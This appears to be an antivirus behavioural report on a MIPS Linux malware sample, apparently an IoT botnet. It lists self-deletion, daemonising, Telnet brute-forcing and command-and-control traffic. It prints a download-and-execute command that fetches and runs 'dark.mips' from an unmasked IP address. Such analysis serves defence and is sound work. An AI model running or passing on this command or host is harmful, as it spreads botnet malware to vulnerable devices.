Technical Information
Malicious functions:
Removes itself
Launches itself as a daemon
Launches processes:
- sh -c wget http://34.67.138.200/dark_bins/dark.mips; chmod 777 *; ./dark.mips wget.loader.mips
- wget http://34.67.138.200/dark_bins/dark.mips
- chmod 777 dark.mips run.sh stdout.log
- ./dark.mips wget.loader.mips
- sh -c rm -rf hmips
- rm -rf hmips
Performs operations with the file system:
Modifies file access rights:
- /root/dark.mips
- /root/run.sh
Creates or modifies files:
- /root/dark.mips
Deletes files:
- /root/hmips
Network activity:
Establishes connection:
- 8.#.8.8:53
- 34.##.138.200:1791
Attacks using a special dictionary (brute-force technique) via the Telnet protocol.
HTTP GET requests:
- 34.##.###.200/dark_bins/dark.mips
Sends data to the following servers:
- 34.##.138.200:1791
Receives data from the following servers:
- 34.##.138.200:1791